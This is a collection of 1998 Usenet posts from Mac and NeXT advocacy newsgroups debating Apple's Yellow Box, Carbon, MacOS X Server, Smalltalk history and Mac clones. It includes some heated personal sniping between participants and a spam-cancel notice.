References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <3612920B.E58FCA6E@ericsson.com> <6v02fr$n28@news1.panix.com> <36139693.BCDEEA7C@nstar.net> <6v0mhb$6b@news1.panix.com>
In article <6v0mhb$6b@news1.panix.com>,
sal@panix.com wrote:
> Microsoft, not Apple, decideds what the Logo (and UI) requirements are. Apple
> must meet the Logo requirement that the App "behave like a good Windows
> citizen."
>
> Quake can get away with not meeting the UI requirements, YB Apps can not. They
> have to look and act like Windows Apps if they are going to gain any
acceptance
> in the marketplace.
>
> Is this clear?
Nothing complicated in all of that, but it still doesn't do anything to
demonstrate the issue at hand: the level to which YB apps will provide a
similar "user experience" as that provided on MacOS X. All you've done is
wave your hands and say that it will be "this much". This much what?
What was the reason for the original statement that Apple must provide
logoable apps for NT? Was it to say "YB apps will not look like MacOS X
apps"? That's what I assumed. I simply pointed out that the logo requirements
don't really have anything to do with the app's UI (apart from the
"recommendation" that to which you referred). As a result, I don't know what
you're trying to say at all.
What *are* you trying to say? Say it simply so that even I can understand,
because so far it doesn't seem like you've added anything to my original
comment.
> Apple can not ship a free runtime in the MacOSX Server timeframe, due to
> 3rd party content in YB. They can commit to a free runtime at some date in
> the future, when YB no longer requires that 3rd party product.
>
> Is this clear?
Doesn't it seem sort of self-evident to say "I can't do it now but at some
point in the future I will" when there's no information about that point in
the future? What would be the point in my announcing "Someday I will release
a 64-bit operating system"? It's rather pointless. Again, like the previous
example, I have no idea what all of this has added to the conversation.
> I sent you a three line note asking for apology. You responded with a 45
> line note. I posted a copy here so everyone can read:
>
> http://www.panix.com/~sal/mjp.html
I don't remember receiving an apology, and I can't access the link above.
> You know what they say about people who live in glass houses don't you?
Yes. They shouldn't throw stones. Ironic that you bring it up.
> Please point out where I have ever insulted you, when it was not in direct
> response to you insulting me.
This is the next sentence, after a remark about glass houses? You've got to be
joking me.
> I do not resort to petty namecalling when
> I am shown to be in error, you do. There are scores of example of you
> exhibiting the behavior, with everyone from Scott Anguish to mmalc to John
> Kheit to Maury Markowitz to Don Yacktman. I don't think there is anyone
> on csna that you haven't exhibited this behavior with.
For the love of Pete, quit yer sniveling. I've zero patience for this from you
at this point.
> Based on what? I pointed out _why_ I thought that Apple is planning to
> remove the YB licensing fee (for YB/NT)
>
> Are you familiar with the term "cargo cult science"? This is what you are
> doing, turning speculation into pseudo-fact and then acting on it. I, on
> the otherhand, have pointed out facts and used them to form an opinion.
No, not quite...
> But no evidence to support those views. Can you point out where Apple
> has stated plans for YB on MacOS? Can you point out where Apple stated
> any reasons to build a new window server other than to remove the
> licensing fee? (At the WWDC they stated this as a majpr reason)
Why do I have to use Apple statements as evidence for anything but a good
laugh? I raised possibilities; that's all refutation of your point required.
I don't have to provide even a shred of evidence in order to raise
possibilities.
> I take it that you do not have any evidence and are now playing word games.
"Word games"? [shrug]
> The difference is that I can point to statements made by Apple where
> they state a) a plan to remove the YB licensing fee
> b) a commitment to YB on NT
>
> I can also point to statments made at the WWDC.
>
> What do you offer in support of your statements?
As I've already said, I don't have to have any evidence whatsoever to refute
your premise that there was only one reason for Apple to remove DPS. All I
have to do is raise the possibility of other reasons, and your premise is
rendered false.
> You don't have to prove them, you just have to offer some (or any) evidence
> that would leed you to believe that.
No, Sal, I don't. Let me explain this real quickly:
Suppose you leave work, saying you're going to the store, and you bring your
wallet with you. A co-worker remarks to a second that "Sal isn't actually
going to the store". The 2nd co-worker says "Why would he bring his wallet if
he weren't going to the store?" The first says "There are lots of reasons for
him to bring his wallet" and lists several, none of which are proven to be
the actual reasons. Nevertheless, the 2nd co-worker has failed to refute the
first's assertion that you are not going to the store.
Now calm down, I don't have any proof that you went to the store today, or
that you have a wallet, or anything like that. Keep your eye on the ball,
here.
MJP
-----------== Posted via Deja News, The Discussion Network ==----------
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From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: A Brief History of the GUI (was: Re: A computer is not like a car.)
Date: Tue, 29 Sep 1998 17:47:28 -0500
Organization: none
Message-ID: <tim-2909981747290001@jump-tnt-0179.customer.jump.net>
References: <tim-2809980901010001@jump-tnt-0163.customer.jump.net> <B236258E-142F0@206.165.43.141>
In article <B236258E-142F0@206.165.43.141>, "Lawson English"
<english@primenet.com> wrote:
| Are you certain that that is what Jobs and Atkinson saw during their first
| visit(s)?
Yes. You may remember Adele Goldberg being interviewed on "Revenge of the
Nerds". She was one of the Xerox PARC Smalltalk people, and was the one
who ended up demoing the Smalltalk system to Steve Jobs. You may also
remember Jobs saying on that program that one of the things he was shown
was "Object Oriented Programming" which he didn't even pay attention to
because he was so blinded by the GUI concept that was shown earlier.
| I had a chance to see Squeak (if it is what I'm thinking of) running on a
| Mac Plus in Dave McClain's office way back when.
Probably not Squeak (which was internal to Apple until about 2 years ago),
but perhaps some Smalltalk-80 derivative.
--
-- Tim Olson
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: A Brief History of the GUI (was: Re: A computer is not like a car.)
Date: Tue, 29 Sep 1998 18:02:44 -0500
Organization: none
Message-ID: <tim-2909981802440001@jump-tnt-0179.customer.jump.net>
References: <slrn70stmu.c3a.jason@jhste1.dyn.ml.org> <B23485B6-394A2@206.165.43.157> <tim-2809980901010001@jump-tnt-0163.customer.jump.net> <F028JA.HyF@T-FCN.Net>
In article <F028JA.HyF@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
| It's worth pointing out that the original interface, also found to a large
| degree in SunView, is terribly confusing to use compared to modern
| interfaces. For instance I can't think of a single person that didn't try
| the scrolling and conclude that it was going the wrong direction (ie, pulling
| the thumb down results in showing a "higher" portion of the document - it's
| terribly confusing).
Hmmm.. That description doesn't match Squeak, and I don't think that the
scrolling has changed that much. The scrollbar tab in Squeak represents
the visible area of the document, and dragging the scrollbar down causes
you to view farther down in the document (i.e. like Mac and other
scrollbars do).
Another nice touch in Squeak which I wish other scroll mechanisms had
copied is its operation when it reaches the end of a document. Other
scroll mechanisms line up the bottom of the document with the bottom of
the window, so the last "page scroll" really results in a sub-page
movement of the document, making it hard to find where you left off
reading. Squeak, on the other hand, treats it just the same as other
full-page scrolls, so the end of the document appears at the top of the
screen (with blank area below it). Much easier to read documents that
way.
--
-- Tim Olson
From: Steve Watt <steve@watt.com>
Organization: USENET spam abatement
Sender: wlasqkup@bigfoot.com
Date: 5 Oct 98 19:51:37 GMT
Message-ID: <cancel.130943492386603008@bigfoot.com>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <130943492386603008@bigfoot.com> ignore
Control: cancel <130943492386603008@bigfoot.com>
I have cancelled this article which had a BI of more than 20.
Selected original headers:
}From: wlasqkup@bigfoot.com
}Subject: Owning Your Own Adult Interent Business Is Easy
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}NNTP-Posting-Host: ip173.harvey.la.pub-ip.psi.net
}Lines: 11
From: jonathan@quern.demon.co.uk (Jonathan Sanderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: Mon, 5 Oct 1998 23:06:28 +0100
Organization: -
Message-ID: <1dgejkn.iknyif14ug5ogN@quern.demon.co.uk>
References: <3615835C.225B608D@nstar.net> <6v6hvv$c0q@newsb.netnews.att.com>
<gupta@kcopsrm.tm.tta.moc-mirror> wrote:
> To be brief,
> I haven't seen any evidence that the cloners helped grow the
> Macintosh market. All the evidence is that they cannibalized it,
I think you've hit the nail right on the head, there.
If the cloners had done what Apple wanted them to do, we'd have seen
something like the iMac a year ago. Apple would likely have been more
than happy to carry on with the higher-margin G3 line.
But that didn't happen, since every cloner with any sense (ie all of
them) looked at the figures, and made high-margin, high-end machines.
For a while we were treated to the ludicrous situation of the cheapest
clone Mac being made by Apple (the Tanzania-based 4400).
Now that Apple *is* in the low-end market (or at least the 'nearly
low-end' market), I'm again not sure it makes any sense to license
machines into that same market. Apple is, after all, a hardware company
that just happens to write OSs too.
...or maybe I just bought all the hype last year?
--
Jonathan Sanderson <http://www.quern.demon.co.uk/jonathan>
'If I had more time, I would have written a shorter letter (Pascal)
From: Matt Evans <bmajik@loathe.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: 05 Oct 1998 17:22:01 -0500
Organization: University of Nebraska-Lincoln
Message-ID: <x7n27aved2.fsf@loathe.com>
References: <6v9l1r$27uq$1@piglet.cc.uic.edu> <361862AC.B572DA9@nstar.net> <x7r9wnuymx.fsf@loathe.com> <3618D157.D7637EDE@nstar.net> <3618e783.0@news.depaul.edu>
Jonathan W Hendry <jhendry@shrike.depaul.edu> writes:
> Michael Peck <mjpeck@nstar.net> wrote:
> > Matt Evans wrote:
>
> > > Perhaps apple can engineer soemsort of render farm type computer.
> > > Maybe if apple can get a fucking decent operating system written, people
> > > can start seeing things like "SMP Photohop 6.0, available exclusively for
> > > PowerMacintosh G3". Or hell, why not build a PCI card thats a vector
> > > processor ? How much of 2d graphics work is 3x3, 5x5, or 7x7 matrix
> > > math ? Write a cute API for it that macos developers can understand and use,
> > > and then suddenly alll sorts of programs can use it.
>
> 1) Why build a PCI card, when there's AltiVec coming out?
Thats for apple to decide, not me, nor you. I'm not frankly interested
in how they do it if it works better than anything else and its priced
well, and they can manage to sell it.
> 2) If you're going to put it on a card, why not use AGP for maximum
> bandwidth, direct memory access, etc...
Depending on how its implemented it may not be necessary. Who cares ?
Do you have lots of industry experience designing vector processors ?
I sure dont. I wasn't suggesting a specific implementation, just throwing
out ideas. :)
> 3) NeXT's experience with multi-processing and distributed processing
> may create some interesting results. (Does Crandall work at Apple now?
> What's he been doing? Anyone know?)
What multiprocessing experience does next have ? They have NXHosting.
They have WebObjects, and a decent way of doing cross platform binaries.
Nothing about that implies multiprocessing. For MacOS X to be SMP capable
they'll at least need a new versino of Mach. Not many OSes do SMP very
well anyhow, and any version of NS, OS, or rhapsody is certainly
not one which does. Apple has *nothing* that deals with more than 1 cpu
to my knowledge. Neither does NeXT. It's totally new territory for them.
> > There are *continents* of new territory to explore. They need to get up
> > and start doing the things nobody else does...the way they used to.
Bingo
>
> Pre-NeXT Apple reminds me of that HP commercial where the engineers
> turn a printer into a lawnmower, when they should be working on
> turning it into a sub-$1,000 on-demand book printing and binding
> engine.
NeXT isn't the magic answer to any problem of apples. I like apple, and i love
my color turbo. Remember NeXT was a failure of a company before you start
beleving that somehow apples problems are all over.
--
Matt Evans web: www.loathe.com/~bmajik
School: mevans@cse.unl.edu Work: bmajik@ntr.net
"No one will be left to prove that numbers existed,
Maybe soon the children will be born open fisted" -- Dave Mustaine
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
Date: Mon, 05 Oct 1998 22:39:53 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vbhrp$6hn$1@nnrp1.dejanews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com> <6v371u$59g$2@news.spacelab.net> <6v57d6$icn$5@supernews.com> <6v8ktl$4cv$1@nnrp1.dejanews.com> <6vaaqn$h6l$5@supernews.com>
In article <6vaaqn$h6l$5@supernews.com>,
"Dan" <dan@knowspaam.com> wrote:
[ ... ]
>>> ...what does piss me off is listening to all the NT complaints when I'm
>>> sitting here at a NT box that has not crashed or had a reinstall in
>>> over a year,
>>
>>I'm pretty sure I don't believe you. NT stable for over a year without
>> rebooting?
>
> No no... I reboot. I just said it has not crashed in over a year, nor has
> NT been reinstalled in over a year.
Let me put this to you more gently than some others have.
There are operating systems out there which stay up for years at a time
*without* rebooting (voluntarily or because of a crash), even when people
install or upgrade software.
You shouldn't _have_ to reboot in order to use a computer.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
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From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Fri, 02 Oct 1998 08:12:58 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v21u9$fm7$1@nnrp1.dejanews.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <3612920B.E58FCA6E@ericsson.com> <6v02fr$n28@news1.panix.com> <36139693.BCDEEA7C@nstar.net> <6v0mhb$6b@news1.panix.com> <6v1385$4lm$1@nnrp1.dejanews.com>
In article <6v1385$4lm$1@nnrp1.dejanews.com>,
michael.peck@ericsson.com wrote:
> Suppose you leave work, saying you're going to the store, and you bring your
> wallet with you. A co-worker remarks to a second that "Sal isn't actually
> going to the store". The 2nd co-worker says "Why would he bring his wallet if
> he weren't going to the store?" The first says "There are lots of reasons for
> him to bring his wallet" and lists several, none of which are proven to be
> the actual reasons. Nevertheless, the 2nd co-worker has failed to refute the
> first's assertion that you are not going to the store.
What the 2nd co-worker should have said is "Please provide some evidence to
support your claim." That would have kept the burder of proof on the
co-worker. Instead, the 2nd co-worker made the same mistake that Sal? did and
made a new claim. Making a claim is always dangerous because people can
attack it. Asking someone to support a claim is safer because you don't risk
anything.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----------== Posted via Deja News, The Discussion Network ==----------
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From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 5 Oct 1998 23:58:34 GMT
Organization: Idiom Communications
Message-ID: <6vbmfa$q24$1@news.idiom.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com>
<tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com>
<tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com>
<forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost>
<6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: pulsar@springnet1.com
Pulsar may or may not have said:
-> If Apple pushes the YB hard, developers will drop Mac support entirely.
-> Carbon is _absolutely_necessary_! YB _is_ the future, but Apple cannot
-> promote it as such just yet. Carbon is a way to migrate (slowly) towards
-> YB.
No, carbon is a way to get Mac OS apps out of the Blue Box. That's not
really migration towards YB, in my opinion.
What I hear from the ex-NeXT crowd, is that Apple will softpedal YB until the
top 100 or so apps have been carbonized, and *then* start promoting YB like
they want to. It would be dangerous to promote it heavily before a majority
of the installed base is using Mac OS X or later.
-jcr
--
What the Bard *should* have said: "All the World's a Stage, and
all the Men and Women rather poorly rehearsed."
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: A Brief History of the GUI (was: Re: A computer is not like a car.)
Date: Fri, 02 Oct 1998 08:21:47 -0500
Organization: none
Message-ID: <tim-0210980821470001@jump-tnt-0193.customer.jump.net>
References: <tim-2909981747290001@jump-tnt-0179.customer.jump.net> <B239E9AC-11ECC@206.165.43.115>
In article <B239E9AC-11ECC@206.165.43.115>, "Lawson English"
<english@primenet.com> wrote:
| Eh. I was told that Apple, as well as several universities, had been given
| the right, by XEROX, to produce SmallTalk systems.
Yes. Tektronix was another company that got the Smalltalk-80 code.
| This was in 1987 (the SE
| had just been released a few weeks/months earlier) and it was a "true"
| SmallTalk, as far as I know. It took over the entire Mac Plus and behaved,
| as far as I can recall, just like the system that BYTE wrote about way back
| when.
If what you saw demoed was an Apple-internal system (and not a
commercially-available Smalltalk system), then yes, it was the
Apple-internal Smalltalk-80 code, which eventually became Squeak.
--
-- Tim Olson
Message-ID: <36196301.72F98584@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu>
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NNTP-Posting-Date: Mon, 05 Oct 1998 20:24:25 EDT
Organization: ISPNews http://ispnews.com
Date: Mon, 05 Oct 1998 19:23:30 -0500
Pulsar wrote:
> That's the way I used to think. I've begun to realize that very few people
> give a bloody damn about Yellow Box. The people who have investments in the
> Mac OS (as in years of code development and products) _do_not_care_ about
> YB. It simply does not matter. For them to support YB would mean scrapping
> all of their time and experience at working with the Mac OS for an entirely
> new API. It would mean that except that they would _also_ have to support
> the old Mac OS because YB even if it is wildly successful in its deployment
> will represent a relatively small portion of the market.
This problem was entirely of Apple's own creation (post-Steve). Amelio
had originally planned to pitch Rhapsody and MacOS as separate
solutions, and to nurture the existing OPENSTEP enterprise market into a
real force.
Jobs amended the plan with "milk the MacOS and move on", creating a
serious problem for existing MacOS developers, who suddenly found that
their expertise was threatened. Remember that Amelio promised "we will
support MacOS for as long as our customers want it." This committment
extended to "probably at least ten years". I doubt anyone believed MacOS
would last that long, so Amelio was basically extending an invitation to
MacOS developers to *stay with the platform* as long as they liked.
"We're here for you" was the message.
Of course, it was also during Amelio's reign that the MacOS development
team went from 6 to over 100. It wasn't until Jobs began to swing
Rhapsody around like a MacOS-slaying weapon that developers began to
panic, and the plans began to change...and change...and change. All of a
sudden, Apple was no longer "the Macintosh company", it was the "Think
Different company", and there were no assurances that any given Apple
technology would not be "Steved" on short notice. I certainly hope it
surprised nobody that developers themselves began to "Think Different",
i.e. "Let's get the f*** out of here".
Anyone would have reacted identically. When you stop hearing "We want to
give you some powerful new choices" and start hearing "You *will* use
the new products", you start to get a little pissed-off. I'm reminded of
the way NeXTstep users reacted to the new UI. "Rhapsody *will* have a
MacOS UI". Nobody ever heard "you'll have a new MacOS UI choice", and
the moaning from the NeXT community was a wonder to behold. Somehow,
some of them seem to have forgotten that they're not the only humans at
this party.
MJP
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 2 Oct 1998 16:05:22 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6v2tk2$lqd@news1.panix.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com>
On Thu, 01 Oct 1998 21:30:29 GMT, michael.peck@ericsson.com
<michael.peck@ericsson.com> wrote:
>While it's instructive in pointing out the inconsistency in what Sal says, I
--------------------------------------------^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>don't think the fact that Apple really *had* acquired a mature product should
>be downplayed. Unfortunately, instead of shipping it, some poor decisions
>have been made, and few in the community have yet acknowledged the fact.
>Instead, silly and blatantly contradictory excuses are invented from thin
>air, as we've seen, for instance, in this thread.
Please point out where and how I have been inconsistenct.
I stated that while YB may be mature, it is not a finished product. Apple
did not buy OpenStep to sell OpenStep, they bought it to use as the basis
of a newer product that uses both OpenStep and Apple technologies.
From: jmz@southwind.net
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
Date: Fri, 02 Oct 1998 23:54:06 +0000
Organization: None
Message-ID: <3615679E.58ED@southwind.net>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvm <36167243.6836@betabreakers.com> <6v60k4$3g1$1@flotsam.uits.indiana.edu>
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Gregory Loren Hansen wrote:
>
<snip>
>
> I still have an account on a VAX that I rarely use. When was the last
> time a new VAX machine was offered?
>
They were still selling them in the 1998 Digital catalog.Of course,it
was only in '95 they quit making PDP-11's.
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Mon, 05 Oct 1998 21:17:54 -0400
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <tbrown-0510982117550001@mv194.axom.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu>
In article <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu>,
pulsar@springnet1.com (Pulsar) wrote:
>If Apple pushes the YB hard, developers will drop Mac support entirely.
>Carbon is _absolutely_necessary_! YB _is_ the future, but Apple cannot
>promote it as such just yet. Carbon is a way to migrate (slowly) towards
>YB. Apple has been too wishy-washy in the past for deveopers to swallow a
>new big change from Apple even if Apple _looks_ sincere about it. Even if
>Apple were sincere about it, it appeared sincere about many other 'wave of
>the future' projects that got cancelled at some point or another. Even if
>it is different _now_ nobody trusts Apple.
While I agree with your post, it strikes me as quite ironic:
Developers don't trust Apple anymore, so in order to regain their trust,
Apple has to lie to them about it's true intentions for the future.
--
tbrown@netset.com
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Mon, 05 Oct 1998 20:27:28 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R0510982027280001@news-proxy.cso.uiuc.edu>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <6vbmfa$q24$1@news.idiom.com>
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In article <6vbmfa$q24$1@news.idiom.com>, jcr.remove@this.phrase.idiom.com
wrote:
> Pulsar may or may not have said:
>
> -> If Apple pushes the YB hard, developers will drop Mac support entirely.
> -> Carbon is _absolutely_necessary_! YB _is_ the future, but Apple cannot
> -> promote it as such just yet. Carbon is a way to migrate (slowly) towards
> -> YB.
>
> No, carbon is a way to get Mac OS apps out of the Blue Box. That's not
> really migration towards YB, in my opinion.
I dunno. Having the same imaging model across the two and the ability to
eventually merge Carbon into the YB will make a migration possible. I
suspect (though I do not know) that a developer can use parts of YB inside
a Carbon application. Migration could be facilitated that way.
> What I hear from the ex-NeXT crowd, is that Apple will softpedal YB until the
> top 100 or so apps have been carbonized, and *then* start promoting YB like
> they want to. It would be dangerous to promote it heavily before a majority
> of the installed base is using Mac OS X or later.
That's the sense I get from all this.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.cloudmaster.ml.org/~tokarek>
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 2 Oct 1998 18:41:31 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6v36or$59g$1@news.spacelab.net>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <3612920B.E58FCA6E@ericsson.com> <6v02fr$n28@news1.panix.com> <36139693.BCDEEA7C@nstar.net>
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Michael Peck <mjpeck@nstar.net> wrote:
>Sal Denaro wrote:
>
>> IIRC, there is a mention about using the win95 UI guide in the notes
>> about logo requirements. While you do not have to stick to the win UI
>> to earn the logo, it is strongly recommended by Microsoft.
>
> This must be a retraction, since you previously said:
>
>> No, Apple will provide a user experience on Windows that meets Windows
>> UI guidelines. It has nothing to do with it protecting its hardware/OS
>> platforms.
>>
>> How useful would YB/NT be if Apps built with it didn't earn the NT
>> logo?
>
></quote>
Why "must" Sal's comment be a retraction?
You appear to be claiming that his current statements disagree with his
earlier ones, yet there is no contradiction between them.
>> Apple can not promise a free runtime since the runtime requires 3rd
>> party products. They have stated intent, and appear to have taken
>> action to make good on this intent. (i.e. removal of 3rd party portions
>> of YB)
>
> This must be a retraction, since you previously said:
>
>> The FAQ also states that Apple has commited to providing a free runtime.
>
></quote>
There's no contradiction here, either-- at least if you manage to grasp the
difference between present and future.
Right now, the runtime is not free because Apple owes royalties to third
parties.
Apple wants to make the runtime free. The obvious course is by
renegotiating, replacing, or removing these third party components which
cause the runtime to be non-free. If Apple is successful in doing so, in the
future they will have a "free runtime" and they will thus meet the commitment
they made in their FAQ.
>> Perhaps you can get one of them to teach you some manners.
>
>That's wicked, coming from someone who sent my ISP an email calling me,
>among other things, "Peckerhead". You are a true gentleman, Salvatore,
>and in view of your tremendous chivalry it doesn't bother me one bit for
>you to lecture me about manners.
You're consistent. Not being concerned about the opinions of others and a
lack of courtesy are well correlated.
[ ... ]
-Chuck
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Fri, 02 Oct 1998 13:39:04 -0500
Organization: Ericsson North America Inc.
Message-ID: <36151DC8.9DC91A43@ericsson.com>
